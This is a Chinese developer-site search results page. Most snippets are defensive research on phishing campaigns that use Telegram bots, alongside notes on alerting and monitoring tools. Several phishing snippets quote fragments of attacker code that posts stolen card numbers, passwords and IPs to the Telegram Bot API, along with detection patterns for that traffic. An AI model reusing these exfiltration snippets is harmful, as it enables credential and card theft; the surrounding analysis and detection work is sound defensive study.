文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

Telegram基础设施在钓鱼攻击中的滥用机制与防御对策研究

本文提出一套涵盖终端行为监控、身份认证加固、浏览器运行时保护与威胁情报提取的多维防御框架，并辅以可落地的代码示例，验证对异常Telegram进程通信、WebView劫持及Bot API调用的识别能力。...*；进程内存中存在敏感关键词（如“password”, “otp”, “cookie”）与Telegram API调用共现。...= sysmon_log.get('DestinationHostname', '')if 'api.telegram.org' in dest:# 检查是否伴随敏感数据写入（需结合Event ID...安全团队应从钓鱼页面源码中提取以下IoC：bot/sendMessagechat_id: "CHANNEL_ID>"频道用户名（如@scam_channel_2025）自动化提取脚本示例...防御的关键在于“上下文感知”：同一api.telegram.org请求，在普通用户聊天中属正常，在财务人员终端上伴随密码字段输入则高度可疑。因此，安全架构必须融合身份、设备、行为与内容四维上下文。

22810

多通道钓鱼攻击的演化与行为安全防御模型研究

这种通信渠道的碎片化为攻击者提供了新的突破口：用户在非正式沟通场景（如 Slack 私信或 WhatsApp 群组）中对可疑内容的警惕性显著低于处理工作邮件，从而降低了社会工程攻击的门槛。...例如，通过 Microsoft Graph API 向 Teams 用户推送伪造的“IT 安全警报”；或利用 Telegram Bot 向财务人员发送“CEO 指令”要求紧急转账。...该模型不关注单条消息内容，而是分析：交互频率与时序：某供应商是否突然频繁联系？渠道偏好突变：长期使用邮件的同事为何改用 Telegram？请求类型异常：HR 是否会直接索要 MFA 令牌？...3.3 系统架构模型由三层组成：数据摄取层：通过企业授权的 API（如 Microsoft Graph、Slack Events API）收集跨平台通信元数据（非完整内容，以保护隐私）；行为图谱构建层：...模型，实时计算用户交互异常分数；强化终端防护：在浏览器扩展或移动端 App 中嵌入钓鱼页面拦截模块，即使链接来自“可信”聊天也进行二次验证。

15710
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    Telegram机器人在欧洲凭证钓鱼中的协同机制与防御路径

    Bot监听特定命令，例如：/verify ：触发二次验证模拟页面；/session ：注入会话Cookie实施接管；/status id>：查询某凭证是否已用于登录。...可通过以下方式提取IOC：监控外联请求中包含api.telegram.org/bot的HTTP流量；提取Bot Token模式（格式：数字:字母数字串）；关联短链（如bit.ly、cutt.ly）解析后的...第二，Bot Token的动态轮换。攻击者可每日更换Bot，使静态规则失效。需结合流量行为（如高频POST至Telegram API）而非仅依赖Token字符串。第三，用户跨平台信任惯性。...6 结论Telegram机器人在欧洲凭证钓鱼中的应用，标志着攻击模式从“静态投递”向“动态交互”的演进。其通过Bot API实现数据实时回传与操作指令下发，显著缩短攻击窗口并提升成功率。...本文提出的三层防御框架——基础设施封禁、认证机制加固、SOC行为监测——已在模拟环境中验证有效性。未来，随着Signal、WhatsApp等平台开放Bot功能，类似威胁可能扩散。

    16810

    钓鱼攻击中窃取数据的流转路径与防御机制研究

    攻击者首先在Telegram上创建Bot并获取token，随后在钓鱼脚本中调用Telegram的sendMessage接口。...分类依据包括域名后缀（如@company.com）、字段结构（是否含CVV、卡号）、以及是否触发自动验证模块（如成功登录测试API）。...交易通常在Telegram群组、俄语论坛（如Exploit.in）或专用暗网市场（如BreachForums）进行。买家可要求“试登”（即卖家现场演示登录成功），以验证有效性。...以下Python脚本展示如何集成企业SIEM与身份提供商（如Azure AD），实现自动化响应：import requestsimport jsondef revoke_user_sessions(user_id...()# 调用API重置密码（略去具体实现）update_user_password(user_id, new_pass)notify_user_via_secure_channel(user_id, new_pass

    13010

    听GPT 讲Alertmanager源代码--notify

    config/：这个目录包含了Alertmanager配置的相关代码，包括配置的加载、解析和验证。 dispatch/：这个目录包含了告警分发的相关代码，它负责将告警路由到正确的接收者。...checkTextResponseError函数：用于检查Slack响应中是否出现错误，比如Slack API返回的错误信息。...然后，它会检查消息的长度是否超出SNS的限制，如果超出，则截断消息长度，并在末尾添加省略号。最后，返回验证和截断后的消息。...在wechat.go文件中，Notifier用于发送微信消息通知。 token：token是用于身份验证的结构体，表示通过微信API访问身份验证需要的token信息。...Check函数用于检查HTTP响应的状态码是否存在于给定的范围内。 NewErrorWithReason函数用于创建一个带有原因的错误。 Error函数用于返回一个不带有原因的错误。

    1.4K10

    TG限制群组转存机器人

    文章目录[隐藏] 1.部署 2.环境变量 3.使用方法 4.批量转存 5.项目地址 Telegram 在2021年底的一次更新中为群组增加了“禁止转发”功能，开启后普通成员便无法从群组中复制、转发或者保存任何内容...2.环境变量 想要让代码正确的跑起来，在部署时还需要设置以下环境变量：API_ID, API_HASH, SESSION, BOT_TOKEN, AUTH, FORCESUB 。...其中 API_ID 和 API_HASH 可以从 https://my.telegram.org/apps 获取，登陆后直接复制即可。 SESSION 可以使用这个网页运行一段小程序来获取。...点击运行后类型选择 p ，再按提示依次输入 API_ID, API_HASH 和注册手机号，完成后即可在收藏夹中找到 SESSION 。...AUTH 为管理员的账号 ID ，可以通过 @myidbot 获取。 FORCESUB 是使用该机器人必须关注的频道（Channel）名，需要新建一个频道并将上一步新建的机器人设为管理员。

    14.2K20

    TRENDRADAR Docker 容器化部署指南

    e TELEGRAM_CHAT_ID="你的telegram_chat_id" \ -e EMAIL_FROM="你的发件邮箱" \ -e EMAIL_PASSWORD="你的邮箱密码或授权码...e TELEGRAM_BOT_TOKEN="你的telegram_bot_token" \ -e TELEGRAM_CHAT_ID="你的telegram_chat_id" \ -e EMAIL_FROM...推送功能测试以企业微信推送为例，验证消息是否送达：确保环境变量 WEWORK_WEBHOOK_URL 已正确配置（或 config.yaml 中企业微信配置正确）查看推送日志确认无错误：docker logs...配置文件加密对于包含敏感信息（如API密钥、推送令牌）的配置文件，可使用加密工具保护： 展开...-R 1000:1000 /opt/trendradar，确保 output 目录可写） 配置文件错误：检查 config.yaml 格式是否正确，可使用在线YAML验证工具 环境变量格式错误：确保环境变量值使用引号包裹

    1.1K20

    使用n8n搭建服务器监控系统：从Webhook到Telegram告警的完整实现

    rand -hex 32命令生成强随机字符串Telegram Chat ID：与Bot对话后访问 https://api.telegram.org/bot/getUpdates...获取Telegram User ID：同上述方法获取，在返回的JSON中查找from.id字段监控数据格式：系统通过Webhook接收JSON格式的监控数据，包含以下字段：server_name: 服务器名称...: 'YOUR_TELEGRAM_CHAT_ID', // 允许使用机器人的用户ID列表 ALLOWED_USER_IDS: ['YOUR_TELEGRAM_USER_ID'], // 告警阈值配置...配置项：Respond With: First Incoming ItemResponse Code: 200这样可以确保监控脚本能够正确判断数据是否提交成功。...完整工作流视图执行以下命令进行安装/配置：从n8n编辑器界面可以看到完整的监控工作流，包含主流程和扩展功能：主流程：接收服务器数据配置和验证Token认证分流处理监控数据检查是否需要告警发送告警到Telegram

    1.9K100

    基于“Smishing Triad”事件的短信钓鱼攻击机制与防御体系研究

    其流程如下：用户在假页面输入卡信息；后端脚本立即调用Apple/Google的API尝试注册该卡；银行向用户手机发送OTP以验证绑定；假页面提示“请输入银行验证码以完成支付”；用户提交OTP后，卡成功绑定至攻击者设备...此模式绕过了传统卡盗刷所需的CVV与地址验证（AVS），因移动钱包交易通常仅需设备解锁（如Face ID）即可完成。...[.]com）；C2通信隐蔽化：数据通过HTTPS POST至中间脚本，再由Python脚本推送至Telegram Bot。...os.getenv('TG_CHAT_ID')def exfiltrate_card_data(card_info):url = f"https://api.telegram.org/bot{BOT_TOKEN...4 现有防御机制的失效原因4.1 短信过滤系统的局限性运营商级短信过滤主要依赖关键词黑名单（如“fee”“pay now”）与发件人ID验证（如STIR/SHAKEN）。

    18510

    低门槛钓鱼工具包的工业化趋势与防御对策研究

    同时，配套域名轮换模块可批量注册短生命周期域名（如通过Namecheap API），并在被拉黑后自动切换至备用域名。...= "YOUR_BOT_TOKEN"chat_id = "YOUR_CHAT_ID"msg = f"New credential: {creds}"url = f"https://api.telegram.org...4.1 推广无密码与硬件密钥认证FIDO2/WebAuthn标准下的安全密钥（如YubiKey）天然抵抗钓鱼，因认证绑定至具体RP（Relying Party）ID。...样本中提取IoC：页面HTML的SHA256哈希使用的JS库版本（如jQuery 3.6.0 + custom obfuscator）C2回调的Telegram Bot Token片段短生命周期域名的注册模式...登录页验证习惯培养：教育用户检查URL是否为官方域名（非近似拼写）、证书颁发对象是否匹配。供应链监控：对新注册的短生命周期域名（如<7天）进行主动探测，识别潜在钓鱼站点。

    21810

    面向意大利主机托管客户的定向钓鱼攻击机制与防御策略研究

    关键业务节点包括：周期性账单通知：域名续费、主机资源升级等触发自动邮件；账户状态变更：如登录异常、支付失败、验证超时等；紧急操作提示：如“72小时内未处理将停用服务”。...email=user@domain.com）自动填入登录框，增强真实性；Telegram Bot数据外传：用户提交凭证后，数据通过HTTPS POST至中间脚本，再由Python脚本推送至攻击者控制的Telegram..."def send_to_telegram(creds):url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"payload = {"...常用算法包括：Levenshtein距离（编辑距离）Damerau-Levenshtein（支持字符交换）视觉相似性（如Homoglyph检测）以下Python脚本可生成常见变体并查询DNS：import...单纯的技术补丁或意识宣传难以根治，必须通过架构级改进——包括自动化监测、操作流程加固与安全左移——构建弹性防御体系。本文提出的策略已在模拟环境中验证有效性，可为同类服务商及中小企业提供实践参考。

    18310

    Telegram小程序钓鱼攻击机制与防御策略研究

    从安全角度看，Telegram Mini Apps的设计遵循以下原则：沙箱隔离：Mini App运行于受限的WebView中，无法直接调用系统API；数据最小化：仅在用户明确授权后，才通过initData...传递有限的用户标识（如user_id、username）；无持久存储：Mini App无法使用localStorage或IndexedDB长期保存数据（除非用户主动登录）。...(3.4) 资产转移一旦获得账户控制权或钱包授权，攻击者迅速执行以下操作：清空TON钱包余额；转移关联的NFT（如Telegram Gifts）；修改账户绑定信息（如两步验证邮箱），防止用户恢复。...点击徽章可查看Telegram官方验证提示；警惕登录请求：合法Mini App无需用户重复输入手机号/验证码。若出现此类表单，应立即关闭；检查钱包授权：连接钱包前，核对合约地址是否与项目方公布的一致。...示例：Kaspersky for Android可通过Notification Listener API监控Telegram通知中的链接，并在用户点击前弹出风险提示。

    14810

    一个基于Go的Telegram RSS Bot机器人，支持应用内阅读预览

    说明：很久前博主介绍过一个Telegram RSS机器人→传送门，用起来还不错，就是安装对新手不太友好，这里就再介绍一个基于Go的Telegram RSS Bot，安装很快，也支持直接在Telegram...截图 功能 支持Telegram应用内Instant View。 默认10分钟抓取一次。 支持为Group和Channel订阅RSS消息。...short_name=moerats&author_name=moerats&author_url=https://www.moerats.com 返回的JSON中access_token字段值即为Telegraph...web页面预览，默认false, true为禁用，选填 disable_web_page_preview: false #用于国内等无法连接Telegram API的情况，国外忽略 socks5: 127.0.0.1...订阅使用方法： 1、将Bot添加为Channel管理员 2、发送相关命令给Bot #Channel订阅支持的命令 /sub @ChannelID [url] 订阅 /unsub @ChannelID

    2.1K00

    In0ri：基于深度学习的网站内容污染检测系统

    分类器的核心是一个卷积神经网络，经过训练可以检测网站内容是否正常。如果被监控的网站确实被破坏，In0ri将通过电子邮件向用户发出警告。...EMAIL_SERVER = "mail.example.com" EMAIL_ADDRESS = "foo@gmail.com" EMAIL_PASSWORD = "$uper$ecurePa$$word" 配置Telegram...通知 编辑Alert/chatbot.py文件： CHAT_ID= 'foo' # Channel ID to send notifications to TOKEN = 'bar' # Bot token...点击“创建代理”，然后填写表单，确认邮件的代理密钥是否正确。 在待监控的Web服务器上，从本项目的GitHub库下载“Agent”文件夹。...安装内部代理运行所需的依赖包： python3 -m pip install watchdog python3 -m pip install requests 编辑config.json文件： nano

    74240

    精准围猎：新型钓鱼工具包专攻意大利，本地化伪装成网络犯罪新范式

    而此工具包直接集成 Telegram Bot API，实现秒级通知：import requestsdef send_to_telegram(username, password, ip):bot_token...: {password}\nIP: {ip}"url = f"https://api.telegram.org/bot{bot_token}/sendMessage"requests.post(url,...data={'chat_id': chat_id, 'text': message})由于 Telegram 在意大利广泛使用且通信加密，执法部门难以追踪 Bot 控制者。...“是否提及本地政务服务关键词”“是否包含 .gov.cn 仿冒链接”等规则；开展区域性红队演练：针对不同省份的政务特色，定制模拟钓鱼场景（如浙江侧重“企业开办”，广东侧重“跨境服务”），提升一线人员识别能力...；启用双重验证：即使使用 SPID，也应在各服务商处开启额外验证（如 PosteID 的指纹认证）；举报可疑内容：通过意大利邮政或 AgID（数字转型局）官网提交钓鱼报告。

    4810
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券